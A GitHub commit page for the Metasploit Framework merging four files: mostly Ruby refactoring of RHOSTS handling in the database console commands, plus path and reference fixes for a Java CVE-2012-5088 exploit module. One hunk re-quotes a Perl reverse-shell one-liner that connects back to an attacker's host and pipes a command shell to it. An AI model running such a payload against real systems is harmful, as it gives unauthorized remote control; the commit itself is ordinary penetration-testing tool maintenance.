Skip to content

Commit a1f8da9

Browse files
committed
Merge branch 'master' of github.com:rapid7/metasploit-framework
2 parents ca144b9 + 8bcf4a8 commit a1f8da9

File tree

4 files changed

+16
-27
lines changed

4 files changed

+16
-27
lines changed

external/source/exploits/cve-2012-5088/Makefile

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -9,8 +9,8 @@ CLASSES = \
99
all: $(CLASSES:.java=.class)
1010

1111
install:
12-
mv Exploit.class ../../../../data/exploits/cve-2013-0422/
13-
mv B.class ../../../../data/exploits/cve-2013-0422/
12+
mv Exploit.class ../../../../data/exploits/cve-2012-5088/
13+
mv B.class ../../../../data/exploits/cve-2012-5088/
1414

1515
clean:
1616
rm -rf *.class

lib/msf/ui/console/command_dispatcher/db.rb

Lines changed: 12 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -205,6 +205,7 @@ def cmd_hosts(*args)
205205
mode = :search
206206
delete_count = 0
207207

208+
rhosts = []
208209
host_ranges = []
209210
search_term = nil
210211

@@ -241,7 +242,6 @@ def cmd_hosts(*args)
241242
output = args.shift
242243
when '-R','--rhosts'
243244
set_rhosts = true
244-
rhosts = []
245245
when '-S', '--search'
246246
search_term = /#{args.shift}/nmi
247247

@@ -280,12 +280,6 @@ def cmd_hosts(*args)
280280
range.each do |address|
281281
host = framework.db.find_or_create_host(:host => address)
282282
print_status("Time: #{host.created_at} Host: host=#{host.address}")
283-
if set_rhosts
284-
# only unique addresses
285-
addr = (host.scope ? host.address + '%' + host.scope : host.address )
286-
rhosts << addr
287-
end
288-
rhosts.uniq!
289283
end
290284
end
291285
return
@@ -326,7 +320,6 @@ def cmd_hosts(*args)
326320
addr = (host.scope ? host.address + '%' + host.scope : host.address )
327321
rhosts << addr
328322
end
329-
rhosts.uniq!
330323
if mode == :delete
331324
host.destroy
332325
delete_count += 1
@@ -346,7 +339,7 @@ def cmd_hosts(*args)
346339

347340
# Finally, handle the case where the user wants the resulting list
348341
# of hosts to go into RHOSTS.
349-
set_rhosts_from_addrs(rhosts) if set_rhosts
342+
set_rhosts_from_addrs(rhosts.uniq) if set_rhosts
350343
print_status("Deleted #{delete_count} hosts") if delete_count > 0
351344
}
352345
##
@@ -370,10 +363,11 @@ def cmd_services(*args)
370363
default_columns = ::Mdm::Service.column_names.sort
371364
default_columns.delete_if {|v| (v[-2,2] == "id")}
372365

373-
host_ranges = []
374-
port_ranges = []
366+
host_ranges = []
367+
port_ranges = []
368+
rhosts = []
375369
delete_count = 0
376-
search_term = nil
370+
search_term = nil
377371

378372
# option parsing
379373
while (arg = args.shift)
@@ -424,7 +418,6 @@ def cmd_services(*args)
424418
output_file = ::File.expand_path(output_file)
425419
when '-R','--rhosts'
426420
set_rhosts = true
427-
rhosts = []
428421
when '-S', '--search'
429422
search_term = /#{args.shift}/nmi
430423

@@ -514,7 +507,6 @@ def cmd_services(*args)
514507
addr = (host.scope ? host.address + '%' + host.scope : host.address )
515508
rhosts << addr
516509
end
517-
rhosts.uniq!
518510

519511
if (mode == :delete)
520512
service.destroy
@@ -534,7 +526,7 @@ def cmd_services(*args)
534526

535527
# Finally, handle the case where the user wants the resulting list
536528
# of hosts to go into RHOSTS.
537-
set_rhosts_from_addrs(rhosts) if set_rhosts
529+
set_rhosts_from_addrs(rhosts.uniq) if set_rhosts
538530
print_status("Deleted #{delete_count} services") if delete_count > 0
539531

540532
}
@@ -685,6 +677,7 @@ def cmd_creds(*args)
685677

686678
host_ranges = []
687679
port_ranges = []
680+
rhosts = []
688681
svcs = []
689682
search_term = nil
690683

@@ -738,7 +731,6 @@ def cmd_creds(*args)
738731
end
739732
when "-R"
740733
set_rhosts = true
741-
rhosts = []
742734
when '-S', '--search'
743735
search_term = /#{args.shift}/nmi
744736
when "-u","--user"
@@ -835,7 +827,6 @@ def cmd_creds(*args)
835827
addr = (cred.service.host.scope ? cred.service.host.address + '%' + cred.service.host.scope : cred.service.host.address )
836828
rhosts << addr
837829
end
838-
rhosts.uniq!
839830
creds_returned += 1
840831
end
841832

@@ -848,7 +839,7 @@ def cmd_creds(*args)
848839
print_status("Wrote services to #{output_file}")
849840
end
850841

851-
set_rhosts_from_addrs(rhosts) if set_rhosts
842+
set_rhosts_from_addrs(rhosts.uniq) if set_rhosts
852843
print_status "Found #{creds_returned} credential#{creds_returned == 1 ? "" : "s"}."
853844
}
854845
end
@@ -879,6 +870,7 @@ def cmd_notes(*args)
879870
set_rhosts = false
880871

881872
host_ranges = []
873+
rhosts = []
882874
search_term = nil
883875

884876
while (arg = args.shift)
@@ -902,7 +894,6 @@ def cmd_notes(*args)
902894
types = typelist.strip().split(",")
903895
when '-R','--rhosts'
904896
set_rhosts = true
905-
rhosts = []
906897
when '-S', '--search'
907898
search_term = /#{args.shift}/nmi
908899
when '-h','--help'
@@ -962,7 +953,6 @@ def cmd_notes(*args)
962953
addr = (host.scope ? host.address + '%' + host.scope : host.address )
963954
rhosts << addr
964955
end
965-
rhosts.uniq!
966956
end
967957
if (note.service)
968958
name = (note.service.name ? note.service.name : "#{note.service.port}/#{note.service.proto}")
@@ -978,7 +968,7 @@ def cmd_notes(*args)
978968

979969
# Finally, handle the case where the user wants the resulting list
980970
# of hosts to go into RHOSTS.
981-
set_rhosts_from_addrs(rhosts) if set_rhosts
971+
set_rhosts_from_addrs(rhosts.uniq) if set_rhosts
982972

983973
print_status("Deleted #{delete_count} note#{delete_count == 1 ? "" : "s"}") if delete_count > 0
984974
}
@@ -1483,7 +1473,7 @@ def cmd_db_rebuild_cache
14831473
print_error("The database is not connected")
14841474
return
14851475
end
1486-
1476+
14871477
print_status("Purging and rebuilding the module cache in the background...")
14881478
framework.threads.spawn("ModuleCacheRebuild", true) do
14891479
framework.db.purge_all_module_details
@@ -1714,4 +1704,3 @@ def each_host_range_chunk(host_ranges, &block)
17141704
end
17151705
end
17161706
end
1717-

modules/exploits/multi/browser/java_jre17_method_handle.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -35,7 +35,7 @@ def initialize( info = {} )
3535
'References' =>
3636
[
3737
[ 'CVE', '2012-5088' ],
38-
[ 'URL', '86352' ],
38+
[ 'OSVDB', '86352' ],
3939
[ 'BID', '56057' ],
4040
[ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-5.pdf' ],
4141
[ 'URL', 'http://www.security-explorations.com/materials/se-2012-01-report.pdf' ]

modules/payloads/singles/cmd/windows/reverse_perl.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -48,7 +48,7 @@ def command_string
4848
lhost = datastore['LHOST']
4949
ver = Rex::Socket.is_ipv6?(lhost) ? "6" : ""
5050
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
51-
cmd = "perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET#{ver}(PeerAddr,\"#{lhost}:#{datastore['LPORT']}\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'"
51+
cmd = %{perl -MIO -e "$p=fork;exit,if($p);$c=new IO::Socket::INET#{ver}(PeerAddr,\\"#{lhost}:#{datastore['LPORT']}\\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;"}
5252
end
5353

5454
end

0 commit comments

Comments
 (0)